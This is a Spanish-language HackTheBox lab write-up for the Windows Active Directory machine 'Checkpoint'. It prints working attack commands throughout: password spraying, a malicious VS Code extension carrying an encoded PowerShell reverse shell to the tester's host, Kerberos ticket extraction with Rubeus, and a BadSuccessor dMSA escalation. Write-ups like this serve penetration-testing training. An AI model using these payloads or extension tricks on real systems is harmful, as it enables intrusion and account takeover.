HackTheBox - Checkpoint

sckull — Sat, 24 Oct 2026 00:00:00 +0000

Informacion de la Maquina

En Checkpoint identificamos y restauramos un objeto eliminado para obtener informacion con el colector de Bloodhound. Con la informacion recabada, realizamos Password Spraying para identificar credenciales validas para a un usuario. Identificamos un recurso en samba para este usuario donde aloja extensiones VS Code, creamos una extension maliciosa para la ejecucion de comandos y lograr acceso inicial. Realizamos un ataque de BadSuccessor para el acceso a un nuevo usuario. Finalmente escalamos privilegios tras extraer credenciales en un volcado de memoria.

La descripcion de la maquina emula una situacion “real” de un pentest proporcionando credenciales.

As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!

Nombre	Checkpoint
OS	Windows
Puntos	Retired
Dificultad	Medium
Fecha de Salida	2026-06-13
IP	10.129.114.122
Maker	AnuragTaparia
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [86, 42, 276, 650, 1069, 784, 606, 218, 65, 109], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra múltiples puertos abiertos : dns (53), kerberos (88), rpc (135), ldap (389), samba (445) y winrm (5985).

# Nmap 7.99 scan initiated Tue Jun 16 01:31:50 2026 as: /usr/lib/nmap/nmap --privileged -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49669,49679,49680,49683,49710,49719 -sV -sC -oN nmap_scan 10.129.114.122
Nmap scan report for 10.129.114.122
Host is up (0.26s latency).

PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-06-16 12:31:58Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf            .NET Message Framing
49664/tcp open  msrpc             Microsoft Windows RPC
49668/tcp open  msrpc             Microsoft Windows RPC
49669/tcp open  msrpc             Microsoft Windows RPC
49679/tcp open  msrpc             Microsoft Windows RPC
49680/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc             Microsoft Windows RPC
49710/tcp open  msrpc             Microsoft Windows RPC
49719/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-16T12:32:51
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 16 01:33:40 2026 -- 1 IP address (1 host up) scanned in 110.15 seconds

# Nmap 7.99 scan initiated Tue Jun 16 01:30:49 2026 as: /usr/lib/nmap/nmap -sU -sVC --min-rate 10000 -oN nmap_scan_udp 10.129.114.122
Nmap scan report for 10.129.114.122
Host is up (0.26s latency).
Not shown: 997 open|filtered udp ports (no-response)
PORT    STATE SERVICE      VERSION
53/udp  open  domain       Simple DNS Plus
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-16 12:30:51Z)
123/udp open  ntp          NTP v3
| ntp-info: 
|_  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 16 04:59:17 2026 -- 1 IP address (1 host up) scanned in 12508.07 seconds

Agregamos a /etc/hosts: checkpoint.htb.

Service Access

Las credenciales tienen acceso por los servicio smb y ldap.

❯ netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
LDAP        10.129.114.122  389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        10.129.114.122  389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯ faketime "$(ntpdate -q checkpoint.htb | tail -1 | awk '{print $1, $2}')" netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -k
SMB         checkpoint.htb  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         checkpoint.htb  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯ faketime "$(ntpdate -q checkpoint.htb | tail -1 | awk '{print $1, $2}')" netexec ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -k
LDAP        checkpoint.htb  389    DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) (signing:Enforced) (channel binding:No TLS cert) 
LDAP        checkpoint.htb  389    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯

Generamos el archivo krb5.conf.

❯ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --generate-krb5-file file.conf
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] krb5 conf saved to: file.conf
SMB         10.129.114.122  445    DC01             [+] Run the following command to use the conf file: export KRB5_CONFIG=file.conf
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
❯ cat file.conf
[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = CHECKPOINT.HTB

[realms]
    CHECKPOINT.HTB = {
        kdc = dc01.checkpoint.htb
        admin_server = dc01.checkpoint.htb
        default_domain = checkpoint.htb
    }

[domain_realm]
    .checkpoint.htb = CHECKPOINT.HTB
    checkpoint.htb = CHECKPOINT.HTB
❯

SMB

El servicio samba muestra los recursos: DevDrop de solo lectura y WMBackups sin ningun permiso.

❯ uv run netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB         10.129.114.122  445    DC01             [*] Enumerated shares
SMB         10.129.114.122  445    DC01             Share           Permissions            Remark
SMB         10.129.114.122  445    DC01             -----           -----------            ------
SMB         10.129.114.122  445    DC01             ADMIN$                                 Remote Admin
SMB         10.129.114.122  445    DC01             C$                                     Default share
SMB         10.129.114.122  445    DC01             DevDrop         READ                   VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.114.122  445    DC01             IPC$            READ                   Remote IPC
SMB         10.129.114.122  445    DC01             NETLOGON        READ                   Logon server share 
SMB         10.129.114.122  445    DC01             SYSVOL          READ                   Logon server share 
SMB         10.129.114.122  445    DC01             VMBackups                              
❯

LDAP - bloodyad

bloodyad muestra que el usuario tiene permisos WRITE sobre varios objetos. Entre ellos un usuario/objeto eliminado.

❯ bloodyad -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -H checkpoint.htb get writable

distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
❯

Bloodhound

Restore Object

Restauramos este objeto para obtener informacion con collector bloodhound.

1
2
3

❯ bloodyad -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -H checkpoint.htb set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
❯

bloodyad Collector

Ejecutamos el collector con bloodyad.

❯ bloodyad -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -H checkpoint.htb get bloodhound
[+] Connecting to LDAP server
[+] Connected to LDAP serrver
Dumping schema: 2it [00:01,  1.52it/s]
Generating lookuptable: 107it [00:02, 44.88it/s]
Dumping SDs: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 111/111 [00:30<00:00,  3.67it/s]
Dumping domains: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00,  1.27it/s]
Dumping users: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 18/18 [00:00<00:00, 65.86it/s]
Dumping computers: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00,  3.79it/s]
Dumping groups: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 58/58 [00:00<00:00, 208.74it/s]
Dumping GPOs: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2/2 [00:00<00:00,  7.59it/s]
Dumping OUs: 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 8/8 [00:00<00:00, 29.42it/s]
Dumping Containers: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 19/19 [00:00<00:00, 66.51it/s]
[+] Bloodhound data saved to 20260616T061929_Bloodhound.zip
[+] Found 0 trusts
❯

Creamos un wordlist con users y computers.

❯ unzip www/*hound.zip \*_users.json
Archive:  www/20260616T061929_Bloodhound.zip
  inflating: 20260616T061929_users.json  
❯ jq -r '.data[].Properties.name' *users.json | tail -n +2 |  awk '{ print tolower($0) }' | cut -d '@' -f1 > users.txt
zsh: command not found: jq
❯ jq -r '.data[].Properties.name' *users.json | tail -n +2 |  awk '{ print tolower($0) }' | cut -d '@' -f1 > users.txt
❯ wc -l users.txt
17 users.txt
❯ unzip www/\*.zip \*_computers.json
Archive:  www/20260616T061929_Bloodhound.zip
  inflating: 20260616T061929_computers.json  
❯ jq -r '.data[].Properties.name' *computers.json |  awk '{ print tolower($0) }' | cut -d '.' -f1 > computers.txt
❯ wc -l computers.txt
1 computers.txt
❯

Users

Existen 17 usuarios en el dominio.

Admins

El grupo de Domain admins tiene dos unicos miembros.

Alex Turner

Este tiene permisos write sobre Mark Davies.

Ryan Brooks

Este usuario tiene GenericWrite sobre svc_deploy.

svc_deploy

Pertenece a los grupos BackupAccess y Remote Manager Users, por lo que puede acceder por WinRM y posiblemente al recurso VMBackups.

DevTeam

Tiene tres miembros entre ellos Ryan Brooks.

User - Mark Davies

Ejecutamos Password Spraying con el wordlist de usuarios, tenemos acceso como Mark Davies con la misma contrasena.

❯ netexec smb checkpoint.htb -u users.txt -p 'Checkpoint2024!' --continue-on-success | grep +
SMB                      10.129.114.122  445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024! 
SMB                      10.129.114.122  445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
❯

La flag --shares permite listar los recursos para este usuario, se especifica lectura y escritura en DevDrop. Tambien, el recurso es para compartir extensiones para VS Code engine 1.118.0 segun la ‘descripcion’.

❯ netexec smb checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\mark.davies:Checkpoint2024! 
SMB         10.129.114.122  445    DC01             [*] Enumerated shares
SMB         10.129.114.122  445    DC01             Share           Permissions     Remark
SMB         10.129.114.122  445    DC01             -----           -----------     ------
SMB         10.129.114.122  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.114.122  445    DC01             C$                              Default share
SMB         10.129.114.122  445    DC01             DevDrop         READ,WRITE      VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.114.122  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.114.122  445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.114.122  445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.114.122  445    DC01             VMBackups                       
❯

Malicious VSCode Extension

Creamos una extension para vscode utilizando yo y vsce. Iniciamos yo eligiendo una extension nueva con Javascript con las opciones por default.

# sudo apt install npm nodejs
npm install -g yo @vscode/vsce
# New Extension
yo code

Editamos el archivo package.json para tener una extension basica especificando version ^1.118.0 y activationEvents.

{
  "name": "malext-htb",
  "displayName": "malext",
  "description": "malext-htb",
  "version": "0.1.1",
  "engines": {
    "vscode": "^1.118.0"
  },
  "categories": [
    "Other"
  ],
  "activationEvents": ["*"],
  "main": "./extension.js"
}

En extension.js agregamos la ejecucion de ping.

const { exec } = require('child_process');

function activate() {
    exec('ping 10.10.14.25');
}

function deactivate() {}

module.exports = { activate, deactivate };

‘Compilamos’ la extension con vsce.

1
2
3

npm run compile
echo "1" > README.md
yes | vsce package --no-dependencies --allow-star-activation

Se creo el archivo malext-htb-0.1.1.vsix.

❯ yes | vsce package --no-dependencies --allow-star-activation
 WARNING  A 'repository' field is missing from the 'package.json' manifest file.
Do you want to continue? [y/N] y
 WARNING  LICENSE.md, LICENSE.txt or LICENSE not found
Do you want to continue? [y/N] y
 DONE  Packaged: /home/kali/htb/checkpoint/malext/malext-htb-0.1.1.vsix (6 files, 1.93KB)
❯

Agregamos este ultimo al recurso DevDrop.

❯ smbclient \\\\checkpoint.htb\\DevDrop -U 'mark.davies%Checkpoint2024!'
Try "help" to get a list of possible commands.
smb: \> put malext-htb-0.1.1.vsix 
putting file malext-htb-0.1.1.vsix as \malext-htb-0.1.1.vsix (2.5 kB/s) (average 2.7 kB/s)
smb: \>

Luego de varios segundo obtuvimos paquetes icmp.

❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
04:26:42.380338 IP checkpoint.htb > 10.10.14.25: ICMP echo request, id 1, seq 1, length 40
04:26:42.381662 IP 10.10.14.25 > checkpoint.htb: ICMP echo reply, id 1, seq 1, length 40
04:26:43.383171 IP checkpoint.htb > 10.10.14.25: ICMP echo request, id 1, seq 2, length 40
04:26:43.383192 IP 10.10.14.25 > checkpoint.htb: ICMP echo reply, id 1, seq 2, length 40
04:26:44.386299 IP checkpoint.htb > 10.10.14.25: ICMP echo request, id 1, seq 3, length 40
04:26:44.386317 IP 10.10.14.25 > checkpoint.htb: ICMP echo reply, id 1, seq 3, length 40
04:26:45.389309 IP checkpoint.htb > 10.10.14.25: ICMP echo request, id 1, seq 4, length 40
04:26:45.389326 IP 10.10.14.25 > checkpoint.htb: ICMP echo reply, id 1, seq 4, length 40

User - Ryan Brooks

Creamos una nueva extension agregando una shell inversa.

const { exec } = require('child_process');

function activate() {
    exec('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA1ACIALAAxADMAMwA1ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==');
}

function deactivate() {}

module.exports = { activate, deactivate };

Tras subirla logramos el acceso como ryan.brooks y realizamos la lectura de la flag user.txt.

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.25] from checkpoint.htb [10.129.114.122] 55622
PS C:\Program Files\Microsoft VS Code> whoami
checkpoint\ryan.brooks
PS C:\Program Files\Microsoft VS Code> dir C:/Users/ryan.brooks/desktop


    Directory: C:\Users\ryan.brooks\desktop


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-ar---         6/16/2026   4:59 AM             34 user.txt                                                             


PS C:\Program Files\Microsoft VS Code> cat C:/Users/ryan.brooks/desktop/user.txt
92e4df2d15a1953aa370d6e69e3f3920
PS C:\Program Files\Microsoft VS Code>

VSCode - script

Tras el acceso, se identifico el script vscodesync.ps1 que instala extensiones e inicia vscode.

PS C:\Scripts> cat vscodesync.ps1
# This is a human written script kek
$log         = "C:\Scripts\vscodesync.log"
$shareDir    = "C:\Shares\DevDrop"
$codeCli     = "C:\Program Files\Microsoft VS Code\bin\code.cmd"
$codeExe     = "C:\Program Files\Microsoft VS Code\Code.exe"

function Log($msg) {
    Add-Content $log "$(Get-Date) - $msg"
}

Log "Cycle started"

# Get all extensions and check files
$resolvedShare = (Resolve-Path -LiteralPath $shareDir).ProviderPath
$vsixFiles = Get-ChildItem -LiteralPath $resolvedShare -Filter *.vsix -File -ErrorAction SilentlyContinue |
    Where-Object {
        $_.FullName.StartsWith($resolvedShare, [StringComparison]::OrdinalIgnoreCase) -and
        -not ($_.Attributes -band [IO.FileAttributes]::ReparsePoint) -and
        $_.Extension -ieq '.vsix' -and
        $_.Length -gt 0
    }
if (-not $vsixFiles) {
    Log "No vsix files found in $resolvedShare"
}
else {
    Log "Found $($vsixFiles.Count) vsix file(s): $($vsixFiles.Name -join ', ')"

    foreach ($vsix in $vsixFiles) {
        Log "Installing $($vsix.Name) (size: $($vsix.Length) bytes)"
        try {
            $output = & $codeCli --install-extension $vsix.FullName --force 2>&1
            Log "Install output: $($output -join ' | ')"
        }
        catch {
            Log "Install FAILED for $($vsix.Name): $_"
        }
        Start-Sleep -Seconds 2
    }
}

# start new instance
Log "Launching new VS Code window"
Start-Process -FilePath $codeExe -ArgumentList "--no-sandbox"

Log "Cycle complete"
PS C:\Scripts>

Get Ticket

No tenemos las credenciales para ryan.brooks por lo que obtuvimos un ticket con tgtdeleg de Rubeus.exe.

PS C:\users\ryan.brooks\documents> ./Rubeus.exe tgtdeleg /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: H3/5E+S3FnbB+t224nMXLno3FCjGg5qnwJTMLxAZ2/Y=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRu/Mzuneuu3bPe356Kk0QVuGrHdOe/JuRbT7pJW39oUn0JUKPoyO9qn/b8i+9PbMnmo5ARGRzAwg0+fpkzjbApwZfYOlihUawfnYyWjStOqAroNkGHnUQ3BblAApGqiVfI9E7w4+18yEINY493HtHUiFBjSDc8vcGNCiyv+zzMZ3fka5MZAraqNn1NBqMCEfMhWQOYR3IGMATfhIS3/A6/sZmDE4RpNwMCMrSGMIHZppdNqB73YoUIz8QdqtxU8DCPvvjWp4oWLdhJeu/lYG9JV0Jk7FLAZxORo3po1lw/Wp+rUhpT+uJgvEhKU6dUcwa5TzT3k0NHOp0UlErDYq23RNoGVDTeDmRxcyi/B/59fUcEbhRIon0jAb+QH65JNXpRUoI8UeSmhPAjPFo33tSN0MCAulssVXJzBHyRTgKQ+LkWuo95cPinoHrpGvdaAuSzmj5jShZjptasum4Dyj1DKHxTUhACHG/MpV7ospE7oAE7qFbn6960OrqLBuTfbxzUin9ZEOD4pNtEUBiH0PCTV9YFAgmgtUCdclK8BdlRpf8vQF8g8z2FfYTWL1XzEU+1hfqwgx42IZ8ivrbyiLuQzQHiB1x523JzbEIc34mzdZjcQOgz/46W2y7ox4UsSwy+jh9irs2+b6GrJ8FrAsFnKu/j+o5Mpp5Zaz05rL1+ZFH8TsrbMUs1nDPKl3kyfsOGoYoPnGz5vM6gljUDfLm0NNo7HFjW3TyUTEs5UZmFFJ/W6vgRBj8rjIVh+nAH8A52BxMOpx6g7XYvsBDJtSoXd+gdhhju3+nAdH1F7Bg/mE1HzUeO1Gw+k/wVk6s1/YqvKrTLgfFMEIR+hzjNHgCIdXr8Qs/we7czjZp/NcD1tWi+Boz5VIOab3x+/mF6kwa0tudp6TcIPYKRQwpUL5wZU27GC1mIDoE3tGdZm429o7UQUt1YlLS4W5wn66n9p+cQyFcun6ijFeu+o63smJEJE0h2ZbfpxYKSnkNGT3FA0oxQ0+B3X4BDoTkHowbTsziX0wfYEXQNwhXtd+HFmRP6umJwLqdAEuZGAJsp6ZzPq6Udy2BC8k/Ul3gnUeq656JlGj+iMfzekDzvS79u9825Ko3yT5TY8WSE03OI5BwhbeWmkMmvdSZsDRPcv22YL84YNHjGuYCTb+0zhFZe+qtbb0aQ51YwDLLZ0Sfvzin0wXWp2XWjr9bIXXMp6TkbdgRKiwjCSiI3UAHyJBHwo6u8PC2wImgIM1miTfUw7bX+IF1vQsaUTbd4aqX/znPygYnnPl+d79Zli1T9C6r1ZDQp7GlahSh4ZxfR/tYy7wqK5d4ctyO2xbttN1NaKHNtyswJD09O0MZ2Ltzj7Ysq+/hFXq2XinjvfZJK4wS0hI6d5dh17jgM+7g9HlNfvIS3uuSXnFL0DZEuseVw2anMXZmrnROv7hu2H18MFCFftAx/znB0hqhiA+I21hmYqJKi74z65KnAT0vAnhF6MGZ0X/6jB+Rfj7C3dxB8wF0jeSbfo4HvMIHsoAMCAQCigeQEgeF9gd4wgduggdgwgdUwgdKgKzApoAMCARKhIgQgRaSIywgS8Tmc1B/Gpaa6ezEDlfJGg9sLfVp3QAQ9kqmhEBsOQ0hFQ0tQT0lOVC5IVEKiGDAWoAMCAQGhDzANGwtyeWFuLmJyb29rc6MHAwUAYKEAAKURGA8yMDI2MDYxNzEwNDEyMVqmERgPMjAyNjA2MTcyMDQxMjFapxEYDzIwMjYwNjI0MTA0MTIxWqgQGw5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=
PS C:\users\ryan.brooks\documents>

Convertimos con impacket-ticketConverter y asignamos la variable KRB5CCNAME al archivo.

❯ echo "doIF1DCCB[.. cut ...]C5IVEI=" |base64 -d > ticket.kirbi
❯ impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done
❯ export KRB5CCNAME=ticket.ccache
❯

Permissions

Eenumeramos los permisos con bloodyad. El resultado muestra el permiso CREATE_CHILD sobre OU=DMSAHolder y WRITE sobre CN=svc_deploy,OU=ServiceAccounts. El primero permite crear objetos hijo dentro de la OU, mientras que el segundo permite modificar propiedades del objeto svc_deploy. Esta combinación nos llevo a la posibilidad de explotar BadSuccessor, una tecnica de escalada de privilegios que abusa de las delegated Managed Service Accounts (dMSA). En este caso, aprovechamos estos permisos para crear una dMSA dentro de OU=DMSAHolder y configurarla para que suceda a svc_deploy.

❯ faketime "$(ntpdate -q checkpoint.htb | cut -d ' ' -f 1,2)" bloodyad -d checkpoint.htb -H dc01.checkpoint.htb -k --dc-ip 10.129.114.122 get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=DMSAHolder,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
❯

User - svc_deploy

BadSuccessor

Utilizamos SharpSuccessor.exe para crear una dMSA y configurarla como sucesora de svc_deploy, aprovechando los permisos identificados anteriormente. Los parametros especifican la cuenta objetivo (/impersonate), la OU donde se crearia la dMSA (/path), la cuenta con la que ejecutamos la operacion (/account) y el nombre de la nueva dMSA (/name).

PS C:\users\ryan.brooks\documents> ./SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:dmsa_acc
   _____ _                      _____                                        
  / ____| |                    / ____|                                       
 | (___ | |__   __ _ _ __ _ __| (___  _   _  ___ ___ ___  ___ ___  ___  _ __ 
  \___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__|
  ____) | | | | (_| | |  | |_) |___) | |_| | (_| (_|  __/\__ \__ \ (_) | |   
 |_____/|_| |_|\__,_|_|  | .__/_____/ \__,_|\___\___\___||___/___/\___/|_|   
                         | |                                                 
                         |_|                                                 
@_logangoins

[+] Adding dnshostname dmsa_acc.checkpoint.htb
[+] Adding samaccountname dmsa_acc$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=dmsa_acc' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
